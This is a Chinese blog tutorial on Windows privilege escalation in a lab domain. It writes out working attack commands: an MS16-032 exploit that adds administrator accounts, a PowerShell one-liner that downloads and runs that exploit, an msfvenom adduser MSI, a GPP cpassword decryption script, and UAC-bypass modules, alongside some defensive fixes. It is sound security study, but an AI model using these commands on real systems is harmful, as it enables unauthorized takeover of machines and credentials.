内网渗透之权限提升

前言

windows中的权限大质分成:User,Administrator,System,还有一个TrustedInstaller,最后一种基本不涉及。

之所以需要权限提升,这是因为有些操作是需要administrator权限才能做到的,比如我们可以通过令牌窃取等将administrator的权限提升至System权限,以便Dumphash等

纵向提权:低权限角色获得高权限角色的权限。

横向提权:获取同级别角色的权限。

常见的提权方法:系统内核溢出漏洞提权,数据库提权,错误的系统配置提权,组策略首选提权,web中间件漏洞提权,DLL劫持提权,滥用高权限令牌提权,第三方服务提权以及bypassUAC

参考:《内网安全攻防》

所用域环境:c0okb.org,其中有一台机子借由vulnstack2的WEB服务器

提权框架PowerUp使用参考:http://www.vuln.cn/6436

系统内核溢出漏洞提权

攻击者利用该漏洞的关键是目标系统没有及时安装补丁,攻击者通过该漏洞进行内核溢出提权。该提权方法的关键点就是要找到系统中未及时安装补丁的漏洞。

手动执行命令发现缺失补丁

在获得shell后,输入whoami /groups,查看当前用户的权限

如果是administrator,那么查看结果如下:

image-20200808143242442

如果是一般的域内用户

image-20200808143415182

那么查看结果如下:

image-20200808143524344

所以提权的目的就是将用户的权限从普通用户提升到管理员权限,也就是从Medium Mandatory Level提升到Hig Mandatory Level

执行命令

1
2
3
systeminfo
或者
wmic qfe Caption,Description,HotFixID,InstalledOn

image-20200808144738129

MS16-032漏洞的补丁编号为KB3139914,那么在这里就存在这个漏洞,我们可以通过该漏洞进行提权。通过这个漏洞,我们可以执行任意程序。

1
2
-> . .\Invoke-MS16-032.ps1
-> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user test2 1qaz@WSX /add"

image-20200808155728429

image-20200808155752542

接着执行

1
-> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net localgroup administrators test2 /add"
1
net user test2

image-20200808160036882

可以看到test2的权限已经提升到管理员权限。

同样我们也可以通过powershell远程下载,一句话执行

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators zhuzhuxia /add'"

参考:MS16-032漏洞利用

利用msf发现缺失补丁

利用msf中的模块:post/windows/gather/enum_patches

参考:后渗透(三)信息收集

image-20200809003149968

Windows Exploit Suggester

这个工具会将系统中已经安装好的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其需要的只有目标系统的信息

使用systeminfo获得当前系统的补丁安装情况,并将补丁信息导入到patches.txt文件中

image-20200809004109184

更新安全公告数据库

image-20200809003912920

安装xlrd模块

image-20200809004922782

执行命令,检查系统中是否存在未修复的漏洞

1
sudo pyton2 windows-exploit-suggester.py -d 2020-08-08-mssb.xls -i patches.txt

image-20200809005222143

可以看到系统中存在MS16-135MS16-098等漏洞,需要及时修复,攻击者只要利用这些漏洞。就能获取目标系统的System权限。

Powershell中的Shelllock脚本

该脚本可以快速找到可能用于本地权限提升的漏洞

通过msf将该脚本上传

1
upload '/home/kali/tool/Sherlock/Sherlock.ps1' 'C:\\Users\test\DesktopSherlock.ps1'

然后执行该脚本

image-20200809010622140

image-20200809011122935

效果和Windows Exploit Suggester差不多,个人认为还是Windows Exploit Suggester更好用一些。

Windows操作系统配置错误利用

在windows系统中,如果遇到无法通过系统内核溢出漏洞提取所在服务器权限的情况,就会利用系统中的配置错误来提权

windows中常见的配置错误包括管理员凭据配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等。

系统服务权限配置错误

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件

如果一个低权限用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限

Windows服务是以System权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统还是存在一些没有得到有效保护的服务

1
2
3
系统服务权限配置错误有如下两种情况:
(1)账号未运行:攻击者会使用任意服务替换原来服务,然后重启服务。
(2)服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用情景,攻击者通常会利用DLL劫持技术并尝试重启服务提权。

Powershell提权框架-PowerUp

此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

参考:Powershell 提权框架-Powerup – Evi1cg

1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;  Invoke-AllChecks | Out-File -Encoding ASCII check.txt}"

image-20200809121106463

将测试结果保存在check.txt

1
download 'C:\\Users\test\Desktop\check.txt' '/home/kali/tool/check.txt'

image-20200809121203755

可以看出,PowerUp列出了可能存在问题的所有服务,并在AbuseFunction部分直接给出了利用方式。

除此之外,在msf中也有执行powershell的模块

image-20200809121455418

image-20200809121606311

Metasploit中的service_permissions模块

在Metasploit中,对应的利用模块是service_permissions,选择AGGRESSIVE选项,可以利用目标机器上每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后将会停止工作。

可以看到在此时通过该模块对获得session进行提权处理,获得了SYSTEM权限。

image-20200809122838015

1
2
3
4
service_permissons模块使用两种方法获得System权限:
1)如果meterpreter以管理员权限运行,该模块会尝试创建并运行一个服务。
2)如果当前权限不允许创建服务,该模块会判断哪些服务的文件夹或者文件夹的权限的问题,并允许对其劫持。
在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件和安装路径是随机的,

注册表键值AlwaysInstallElevated

注册键AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件

Windows Installer的相关知识

Windows Installer 是Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer除了是一个安装程序,还用于管理软件的安装,管理软件组件的添加和删除,监视文件的还原,通过回滚进行灾难恢复等。

Windows Installer 分为客户端安装服务(Msiexec.exe)MSI文件两部分,它们是一起工作的。Windows Installer通过Msiexec.exe安装MSI文件包含的程序。

MSI文件是Windows Installer的数据包,它实际上包含是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。

Msiexec.exe用于安装MSI文件,一般在运行Micosoft Update安装更新或者安装一些软件时使用。

PathAlwaysInstallElevated漏洞产生的原因

该漏洞产生的原因是用户开启了Windows Installer特权安装功能

组策略编辑器:gpedit.msc

注册表编辑器:regedit

image-20200809141405899

image-20200809141516370

启用这两个设置

PowerUp提权框架测试

使用PowerUpGet-RegistryAlwaysInstallElevated模块来检查注册表键是否被设置。

如果AlwaysInstallElevated注册键已经被设置,就意味着MSI文件是以System权限运行的。运行该模块的命令如下,”True”表示已经设置。

1
powershell.exe -exec bypass IEX (NEW-Object Net.WebClient).DownloadString('c:\\Users\test\Desktop\PowerUp.ps1'); Get-RegistryAlwaysInstallElevated

或者

image-20200809145535330

然后运行Write-UserAddMSI模块,生成一个MSI文件

image-20200809150538806

运行MSI文件,就会添加一个管理员账户

1
msiexec /q /i UserAdd.msi

image-20200809153643140

image-20200809153808526

除此之外,我们还能通过msfvenom来生成木马,配合meterpreter使用

1
msfvenom -f msi -p windows/adduser USER=wu13dog PASS=1qaz@WSX -o /home/kali/tool/Userdog.msi

image-20200809154751257

执行命令:

1
msiexec /quiet /qn /i Userdog.msi

image-20200809155031073

msf下也有自动化的模块供我们提权使用

1
exploit/windows/local/always_install_elevated

使用起来比较简单,详情参考:https://www.cnblogs.com/-qing-/p/10557520.html

PS:防止MSI文件提权,就是禁用注册表AlwaysInstallElevated

可信任服务路径漏洞

可信任服务路径漏洞(包含空格且没有引号的路径)利用了Windows文件路径解析的特性,并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务是有漏洞的

该漏洞存在如下两种可能。

1
2
如果路径和服务有关,就任意创建一个服务或编译Service模块
如果路径与可执行文件有关,就任意创建一个可执行文件。

Trusted Service Paths 漏洞产生的原因

因为Windows服务通常都是以System权限运行的,所以系统解析服务所对应的文件路径中的空格时,也会以系统权限进行。

这个漏洞也是开发者在开发时,没有注意到的问题

参考:https://www.cnblogs.com/sevck/p/8488469.html

例如,有一个文件路径"C:\Program Files\Some Floder\Service.exe"对于该路径中的每个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有情况进行尝试,直至找到一个能够匹配的程序。

1
2
3
C:\Program
C:\Program Files\Some
C:\Program Files\Some Floder\Service.exe

因此,如果一个被”适当”命名的可执行程序被上传到受影响的目录中,服务一旦重启,绝大多数情况下,该程序就会以System权限运行。

执行如下命令检测系统中是否存在该漏洞

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

image-20200809211638932

我的这台机器没有这个漏洞,所以有点尴尬,这里写一下这个漏洞的利用方式。

检测完是否存在此漏洞后,检测是否对目标文件夹有写权限,需要目标文件夹的权限是Everyone:(OI)(CI)(F)

检测方式:icacls 目标文件夹路径

image-20200809212913469

像上图这样。

确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务

1
2
sc stop service_name
sc start service_name

自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中有一些可能包含本地管理员账号和密码等信息

对于该漏洞使用msf的利用模块post/windows/gather/enum_unattend

image-20200809215248594

计划时间

可以使用如下命令查看计算机的计划任务

1
schtasks /query /fo LIST /v

image-20200809220810787

AccessChk用于进行一些系统或程序中的高级查询,管理和故障排除工作。

执行如下命令,查看指定目录的权限配置情况。

1
accesschk.exe -dqv "C:\Microsoft" -accepteula

如果攻击者以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样在下次计划任务执行时,就会以高权限来运行恶意程序。

AccessChkSysInterals工具包里的工具,下面是几个常见的AccessChk命令

第一次运行SysInternals工具包里的工具时,需要许可,使用如下命令,自动接受许可

1
accesschk.exe /accepteula

列出某驱动器下所有权限配置有缺陷的文件夹

1
2
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\*.*

列出某驱动器下所有权限配置有缺陷的文件

1
2
accesschk.exe -uwdqsUsersc:\*.*
accesschk.exe -uwdqs"AuthenticatedUsers"c:\*.*

Empire内置模块

外话:安装Empire时,出现了一些问题,在此列出

1
2
3
4
5
6
7
8
9
选择安装使用Empire3.0
改默认python为python3.X
sudo ln -s /usr/bin/python3.8 /usr/bin/python
sudo ln -s /usr/local/bin/pip3 /usr/local/bin/pip

无法成功安装M2Cryptop
sudo apt-get install libssl-dev swig python3-dev gcc
sudo apt-get install openssl
pip install wheel

Empire3.0https://github.com/BC-SECURITY/Empire/

Empire使用参考:https://www.secpulse.com/archives/73766.html

组策略首选项提权

组策略首选项提权简介

SYSVOL是活动目录里的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登陆脚本,组策略数据以及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的范围内共享。

整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\Windows\SYSVOL\DOMAIN\Policies目录中

在一般的域环境中,所有机器都是脚本批量部署的,数据量通常很大。为了方便对所欲的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户进行登录验证。为了本地管理员密码的安全性,这些组织通常会修改本地管理员的密码

尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。

常见的组策略首选项(Group Policy Preferences,GPP)

1
2
3
4
5
6
映射驱动器(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)

关于组策略首选项的了解,参考:https://blog.csdn.net/allway2/article/details/104101337

组策略首选项提权分析

参考文章:https://blog.csdn.net/qq_36119192/article/details/104344105

创建组策略,批量修改域中机器的本地管理员密码

Group Policy Management Editor中打开计算机配置界面,新建一个组策略,更新本地计算机中用户的组策略首选项密码。

1
在域控上执行:开始——>运行——>输入 gpmc.msc ——>选择c0okb.org——>右键组策略对象——>新建

image-20200810202155678

1
右键刚刚新建的组策略,编辑,会弹出一个组策略管理编辑器

image-20200810202240559

1
计算机配置——>首选项——>控制面板设置——>本地用户和组

image-20200810203022287

将域中每个计算机的本地administrator用户更名为BossBoy….,并设置新的密码为1qaz@WSX.

然后将Domain Computers添加到组策略应用的组中.

image-20200810203746673

1
强制更新组策略

image-20200810204402574

获取组策略的凭据

管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。可通过在SYSVOL中搜索,可以找到Groups.xml文件。

手动查找cpassword

通过详细信息中的唯一id定位

image-20200811083814797

image-20200811083952657

image-20200811084847555

使用脚本解密就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# gppdecrypto.rb
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah

image-20200811085509395

使用PowerShell获取cpassword

PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码。注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到

1
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword

使用msf获取cpassword

1
2
3
use post/windows/gather/credentials/gpp
set session 1
run

组策略首选项提权防范

在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。

此外,针对Everyone访问权限进行设置,具体如下:

  • 设置共享文件夹SYSVOL的访问权限
  • 将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
  • 不要把密码放在所有域用户都有权访问的文件中
  • 如果需要更改域中机器的本地管理员密码,建议使用LAPS

绕过UAC提权

果然计算机的操作系统版本是Windows Vista或者更高,在权限不够的情况下,访问系统磁盘的根目录(例如:C:\)、Windows目录、Program Files目录,以及读、写系统登陆数据库(Registry)的程序等操作,都需要经过UAC(User Account Control,用户账户控制)的认证才能进行。

关于UAC的介绍参考:https://baijiahao.baidu.com/s?id=1631436227483974075&wfr=spider&for=pc

绕过UAC提权的方法

MSF的bypassuac模块

1
exploit/windows/local/bypassuac

使用这个模块的前提是我们已经获得了一个用户的meterpreter Shell,并且该用户在管理员组中,且UAC必须为默认设置

image-20200811150542664

image-20200811150624709

image-20200811151411266

使用该模块

image-20200811150656169

执行

image-20200811150801550

提升权限

image-20200811150827474

MSF的RunAs模块

1
exploit/windows/local/ask

使用RunAs模块,进行提权,当前用户必须在管理员组中或者知道管理员的密码,对UAC的设置则没有要求。在使用RunAs模块时,需要使用EXE::customs选项创建一个可执行文件(需要进行免杀处理)

image-20200811152800803

image-20200811152913974

在输入run之后,在目标机器上会弹出UAC对话框,需要单击”是”

另外还有Empire的bypassuac模块,以及bypassuac_wscript模块

Author: 我是小吴啦
Link: http://yoursite.com/2020/08/08/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8B%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.